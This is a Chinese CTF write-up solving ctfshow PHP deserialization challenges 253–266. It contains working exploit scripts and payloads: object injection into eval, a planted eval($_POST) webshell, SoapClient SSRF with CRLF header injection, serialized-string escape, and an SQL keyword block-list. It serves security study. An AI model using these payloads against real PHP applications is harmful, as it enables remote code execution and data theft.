web 254
這個題沒有考什么,get方式傳入payload即可,這里xxxxxx,就是6gex而已
payload:
?username=xxxxxx&password=xxxxxx
web 255
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
審計代碼,發現,可以從cookie的user中傳入payload實例化字符串,同樣需要isVip=True
<?php
class ctfShowUser{
public $username='1';
public $password='2';
public $isVip=True;
}
$c=new ctfShowUser();
echo urlencode(serialize($c));
由於cookie中將"
作為截斷符號,所需要編碼繞過,這里采用url編碼
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
最后訪問/?username=1&password=2
得到flag
web 256
題目
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
額,這里只是不讓username和password相等即可
白嫖255payload即可
web 257
<?
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
首先尋找一下unserialize函數,順帶看了一下流程。接下來找了順便看了一下哪里能夠拿到flag。但是沒有找到。
在審計的過程中,看到在backdoor類中,看到了eval
,於是尋找哪里能夠控制code
和引用back::getInfo()
;ctfshowuser類中的destruct中看到$this->class->getInfo();
。於是想,從ctfshowuser::destruct
中引用backdoor::getInfo()
,backdoor::code
就是變量。
exp:
<?php
class ctfShowUser{
private $username='1';
private $password='2';
private $isVip=false;
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('tac flag.php');";
}
$c=new ctfShowUser();
echo urlencode(serialize($c));
payload:
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A1%3A%221%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A1%3A%222%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
最后訪問/?username=1&password=2
得到flag
在類中嵌套類,需要初始化,所以使用__construact
函數進行初始化賦值
web 258——繞過正則
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
和257差不多,這里用了/[oc]:\d+:/
來過濾,我們給數字加上+
來繞過。
至於為什么用加號,額,函數定義就是這么寫的,如果是+
那么也能正常執行(以前看到其他解釋說的是,+1和1沒區別,但是沒有說這里C實現的過程)
這里使用一句話木馬,上面那個,額,沒想到
exp
<?php
class ctfShowUser{
public $username='1';
public $password='2';
public $isVip=True;
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='eval($_POST[1]);';
}
$c=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$c);
$b=str_replace(':8',':+8',$b);
echo urlencode($b);
這題卡了很久,因為我是復制粘貼257來修改的,沒有注意到屬性,,,,
web 259——ssrf
不懂,去找個wp,所以本題是直接抄的。
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
如果調用一個沒有定義的方法,那么就會使用類本身的call方法。由於給了個ssrf的代碼,那么河里推斷這是一個ssrf的原生類。
看完了大師傅的視頻,大概明白要趕個什么了。順便說一句,大師傅太頂了!!!
我這里就在kali中做測試了,因為不想在本機上下載nc工具。
額,在kali中,還需要把soap的PHP擴展下載一下。這就比Windows可能方便很多了(只針對我個人嘛),因為我在Windows中裝了一個PHP環境,用的不是phpstudy那邊的PHP,所以自己添加外包可能有點麻煩,最主要還是是因為不想在Windows上裝nc;
寫得多,但是仔細看完就沒什么了
安裝擴展包
- 首先查看一下有沒有soap包擴展(應該是沒有的)
nl /etc/php/7.4/apache2/php.ini|grep soap
- 下載外包(根據自己的機器上的版本下載)
apt-get install php7.4-soap
- 再查看一下soap包擴展
nl /etc/php/7.4/apache2/php.ini|grep soap
這個時候,應該是能夠查看到的,效果如下,也有可能要等一下
可以看到;extension=soap
,說明soap
擴展已經下載好了,接下來只需要將;
去除即可。這樣也就算了下載且添加進了PHP中,可以使用了。
接下來回到題目
在kali中打開nc工具監聽一個端口,開一個終端來跑代碼;打開web259.php文件(自己寫的),布局可以參考一下下面的。
在web259.php中寫入代碼,(代碼不全,因為是一步一步來的,我是希望將題目筆記盡量做細致一點,后來復習的時候也能看懂)
<?php
$ua="ctfshow";
$client = new SoapClient(NULL,array('uri'=>"http://127.0.0.1:8181","location"=>"http://127.0.0.1:8181/flag.php","user_agent"=>$ua));
$client->getFlag();
開啟nc偵聽8181端口,接着運行web259.php,從nc工具中可以看到偵聽到的數據User-Agent: ctfshow
,注入的user-agent已經成功了。(目前進度大概是60%)
看題目:
- 題目要從X-Forwarded-For中獲取ip。
將X-Forwarded-For按照,
分為數組,接着array_pop第一個元素,最后用第二個元素來作為ip;
所以構造
$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1"
- 題目要求是post傳入的參數,所以要構造一個post表單傳入參數token=ctfshow
所以構造
$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";
因為設置了Content-Length=13
,所以只取后面13位,也就恰好吧token=ctfshow
取完就停止;十分的嚴格。順便補一句,反序列化的規矩也是10分的嚴格。
由於本地應該是80或者是8080端口,把:8181
去掉就行了,利用默認端口進去;
最后exp是:
<?php
$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";
$client = new SoapClient(NULL,array('uri'=>"http://127.0.0.1","location"=>"http://127.0.0.1/flag.php","user_agent"=>$ua));
/*$client->getFlag();*/
echo urlencode(serialize($client));
payload:
url?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A124%3A%22ctfshow%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0AContent-Length%3A13%0A%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
訪問url/flag.txt
拿到flag
這個題,就做完了。師傅們太頂了,頂呱呱;
web 260
???,沒仔細看,get傳入ctfshow=ctfshow_i_love_36D
就拿到了
是對傳入的字符串進行序列化,然后檢測有沒有ctfshow_i_love_36D
web 261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
審計代碼發現:
- 有__unserialize(),在7.4以上版本反序列化會繞過__wakeup()函數。
- 在destruct()函數中,有file_put_contents可以寫入文件,一句話木馬兒
- $this->code==0x36d是弱類型比較,0x36d又有沒有打引號,所以代表數字,且數字是877,那么
877a
,877.php
等可以通過比較;所以設置username='877.php'
來通過比較
所以exp:
<?php
class ctfshowvip{
public $username='877.php';
public $password='<?php eval($_POST[1]);?>';
public $code=0x36d;
public function __invoke(){
eval($this->code);
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
$c=new ctfshowvip();
echo serialize($c);
payload:
url/?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:4:"code";i:877;}
訪問url/877.php執行一句話木馬,1=system('cat /flag_is_here');
拿到flag
261還說是打redis,嚇了一跳。。。
web 262——字符串逃逸_部分替換
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
先審計一下代碼,發現:
fuck
會被替換為loveU
- 沒有看到能夠利用的函數或者是和flag有關的,不過找到message.php,(建議上午或者下午做題,晚上貌似是做題巔峰,是在是卡)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
再審計之后發現,貌似可以直接從message.php這里,只需要看這么一段,就行了,也不用逃逸了,,,,
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
上分做法:
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
}
$m=new message();
echo base64_encode(serialize($m));
payload:
msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
在message.php頁面中,F12,cookie添加msg,刷新,拿到flag
字符串逃逸
首先要知道這里是將fuck
修改成了loveU
,由4個字符長度,變成了5個,長度發生了變化,導致了反序列化字符串結構改變。
我們知道,反序列化過程十分的嚴格,多讀取一個,或者是少讀取一個都是不被允許,會報錯的。一旦長度有了變化,那么就會報錯。加入我們精心構造一個字符串,那么不但不會報錯,而且還能夠拿到flag。
看了message.php我們知道,只需傳入的payload在反序列化的時候,反出來一個token=admin
,就行。
這是用來測試的文件
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;echo "<br>";
var_dump(unserialize($umsg));#如果反序列化成功,就會輸出結果,沒結果就是bool(false)
首先拿到一個正常的,反序列化字符串
取末尾幾位:";s:5:"token";s:5:"admin";}
,這長度為27
我們於是我們構造:t=3";s:5:"token";s:5:"admin";}
此時,用fuck來進行測試:&t=fuck";s:5:"token";s:5:"admin";}
,將fuck放在前面
由於長度變化了,反序列化也會失敗。
看到了fuck
編程loveU
,長度由31變成了32,抵出去了一個字符的位置。
由於字符串是一個一個讀取的,所以這里被抵出去的是}
,
一個fuck會抵出去一個位置,那么兩個fuck就會抵出去兩個(** :}
**)位置;
假如";s:5:"token";s:5:"admin";}
被抵出去了,那么就能夠恰好的滿足反序列化的條件了。
所以,有多少個fuck就會抵出去多少個位置;就需要len(";s:5:"token";s:5:"admin";})
個fuck,也就是27個。
最后構造得到
t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
拿到這個構造的payload,在題目中提交
url?f=1&m=3&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
訪問url/message.php拿到flag
文辭有限,筆墨僅限於此。
沒有說清楚的話,請移步大師傅的視頻講解
web 253
dirsearch掃描發現www.zip,看來是seesion反序列化了,
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
// sql注入檢查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));
}
}
/*生成唯一標志
*標准的UUID格式為:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}
想了一下,突然意識到,貌似session反序列化可以直接把session中能反的給了;
人給我做傻了這題,不知道是不是因為開局就輸入賬號密碼錯誤了幾次,導致后來的cookie沒有寫入給整自閉了。所以查看cookie,limit一直是1。就有點不明所以了。
審計代碼:
找到,當user類被析構的時候,會有file_put_content
的,執行,借此可以吸入一句話木馬;
web 264
session的反序列化字符串逃逸,其實和262沒有區別,把262payload拿過來用就行;只是需要再設置一個msg
的cookie,即可
這個題沒有設置session反序列化的處理器,那就是磨人的,也就和平時反序列化代碼的模式一樣。所以這里可以按照262的方式去理解
web 265——引用
<?
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
由於mt_rand()
預測不了,我預測不了,萬一有大佬能預測呢,,,且md5(mt_rand())
確實預測不了。
可以利用引用的方式,將password賦值為token的引用
exp
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password=&$this->token;
}
}
$c=new ctfshowAdmin();
echo (serialize($c));echo"\n";
payload:
url/?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}
web 266——偽協議,正則繞過
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
審計代碼:
發現,反序列話的是$cs=file_get_contnets(php://input)
,同時在__destruct
中有輸出flag的語句。暗示了要找個機會傳入一個ctfshow類進去。恰好看到$cs
對字符串ctfshow過濾了,也就明示了要傳入ctfshow類的字符串給cs。這題就差把flag順手給提交了。
php://input偽協議是post輸入的參數。首先拿到一個ctfshow類的反序列化字符串;
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
$c=new ctfshow();
echo serialize($c);
得到
O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
利用burp傳值;在hackbar中,post不能傳入單個字符串,必須是以a=b
形式傳入,只傳入b
是不行的,所以要利用到burp,抓包,改值。
由於過濾了ctfshow
但是我這里用的是cTFSHOW
,在PHP中,類不區分大小寫;所以繞過了過濾。
如果進入了判斷,就會異常,然后不執行析構函數。
破壞結構進行析構
就是說,傳入一個破壞了反序列化字符串結構的字符串進去,使得,即使異常了,也會析構。
新看到方法,太頂了,就看不懂為什么。。。。
魔術方法
1.__construct()
觸發條件:new一個實例化對象的時候
作用:初始化函數,對類進行初始化,同時也可以執行其它語句
2.__desturct()
觸發條件:銷毀一個實例化對象的時候
作用:析構函數,對實例化對象銷毀,同時也可以執行其它語句
3.__wakeup()
觸發條件:反序列化時觸發
作用:額,就是調用一下,函數有什么功能這是自己定義的
4.__sleep()
觸發條件:序列化的時候觸發
作用:額,就是調用一下,函數有什么功能這是自己定義的
5.__invoke
作用:當嘗試以調用函數的方式調用一個對象時,__invoke() 方法會被自動調用。
例如:class Ctfshow,然后使用$Ctfshow();時被調用
3.__unserialize()
觸發條件:7.4以上版本,反序列化時觸發,且繞過__wakeup()
如果有寫得不對的地方,斗膽請師傅們斧正